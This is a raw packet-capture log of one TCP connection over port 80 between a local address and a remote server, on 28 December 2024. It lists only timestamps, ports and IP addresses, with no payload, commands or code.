Dec 28, 2024 10:03:37.218139887 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.218198061 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.218974113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.219018936 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.219058037 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.219856977 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.219907045 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.219965935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.220735073 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.220773935 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.220825911 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.221666098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.221713066 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.221730947 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.222505093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.222551107 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.222587109 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.223438025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.223485947 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.223604918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.224314928 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.224355936 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.224369049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.225178003 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.225223064 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.225280046 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.226063967 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.226111889 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.226147890 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.226952076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.226996899 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.227051973 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.227842093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.227926016 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.227952003 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.228723049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.228765965 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.228828907 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.229635954 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.229686022 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.229706049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.230540991 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.230591059 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.230608940 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.231462002 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.231501102 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.231527090 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.232284069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.232336998 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.232367992 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.233171940 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.233222961 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.233304977 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.234036922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.234078884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.234139919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.234946966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.234985113 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.235018015 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.235825062 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.235872030 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.235896111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.278307915 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.361015081 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.361196995 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.361248016 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.361417055 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.361637115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.361674070 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.362341881 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.362451077 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.362494946 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.363179922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.384593010 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.384644985 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.384725094 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.384994984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.385170937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.385174036 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.385308027 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.385343075 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.386084080 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.386185884 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.386224985 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.386956930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.387089014 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.387128115 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.387849092 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.387976885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.388021946 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.388741970 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.388856888 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.388902903 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.389617920 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.389733076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.389777899 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.390544891 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.390748024 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.390794039 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.391418934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.391515017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.391555071 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.392283916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.392390966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.392432928 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.393405914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.393445969 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.393481016 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.394077063 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.394195080 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.394227028 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.394957066 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.395029068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.395068884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.395853996 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.395977020 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.396017075 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.396744967 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.396866083 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.396909952 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.397617102 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.397702932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.397737980 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.398519993 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.398642063 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.398680925 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.399410009 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.399525881 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.399568081 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.400290012 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.400440931 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.400485039 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.401174068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.401312113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.401354074 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.402081966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.402189970 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.402228117 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.402970076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.403038025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.403161049 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.403836966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.403956890 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.403995991 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.404825926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.404851913 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.404894114 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.405613899 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.405730963 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.405774117 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.406502008 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.406614065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.406660080 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.407393932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.407519102 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.407563925 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.408262968 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.408382893 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.408422947 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.409172058 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.409305096 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.409346104 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.410058022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.410186052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.410223007 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.410965919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.411111116 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.411153078 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.411847115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.411938906 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.411981106 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.412731886 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.412852049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.412892103 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.413636923 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.413763046 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.413805962 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.414490938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.414622068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.414660931 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.415390015 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.415529966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.415571928 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.416291952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.416383028 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.416428089 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.417227030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.417335987 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.417376995 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.418055058 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.418160915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.418203115 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.418360949 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.418937922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.419070005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.419105053 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.419831991 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.419948101 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.419989109 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.420711994 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.420861006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.420901060 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.421621084 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.421752930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.421796083 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.422514915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.422647953 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.422696114 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.423366070 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.423495054 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.423536062 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.424273968 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.424406052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.424452066 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.425149918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.425282955 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.425323963 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.426096916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.426254988 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.426299095 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.426944971 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.427053928 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.427093983 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.427141905 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.427813053 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.427881002 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.427916050 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.445768118 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.553073883 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.553153038 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.553200006 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.553435087 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.553544044 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.553579092 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.554338932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.554413080 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.554449081 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.555211067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.576910973 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.577007055 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.577079058 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.577300072 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.577349901 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.577356100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.578182936 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.578217983 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.578293085 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.579098940 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.579144955 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.579169035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.579974890 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.580023050 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.580152988 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.580842018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.580882072 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.580940962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.581751108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.581800938 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.581861019 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.582711935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.582758904 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.582786083 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.583524942 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.583564997 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.583578110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.584420919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.584461927 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.584605932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.585345984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.585407019 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.585414886 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.586213112 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.586287975 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.586309910 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.587126970 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.587171078 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.587223053 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.588011980 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.588061094 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.588098049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.588850021 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.588885069 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.588943005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.589760065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.589806080 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.589839935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.590660095 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.590699911 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.590747118 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.591545105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.591584921 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.591639996 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.592426062 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.592468023 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.592530966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.593322992 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.593379974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.593405962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.594180107 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.594227076 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.594280005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.595074892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.595114946 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.595176935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.595952988 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.595990896 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.596040964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.596854925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.596890926 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.596947908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.597786903 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.597845078 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.597902060 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.598680019 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.598716021 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.598767996 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.599517107 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.599565983 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.599601984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.600435019 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.600478888 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.600512981 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.601279974 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.601321936 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.601382017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.602185965 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.602232933 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.602319002 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.603167057 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.603204012 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.603287935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.603956938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.604017973 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.604055882 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.604892015 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.604935884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.604969025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.605753899 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.605793953 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.605855942 CET	80	49766	185.215.113.16	192.168.2.6
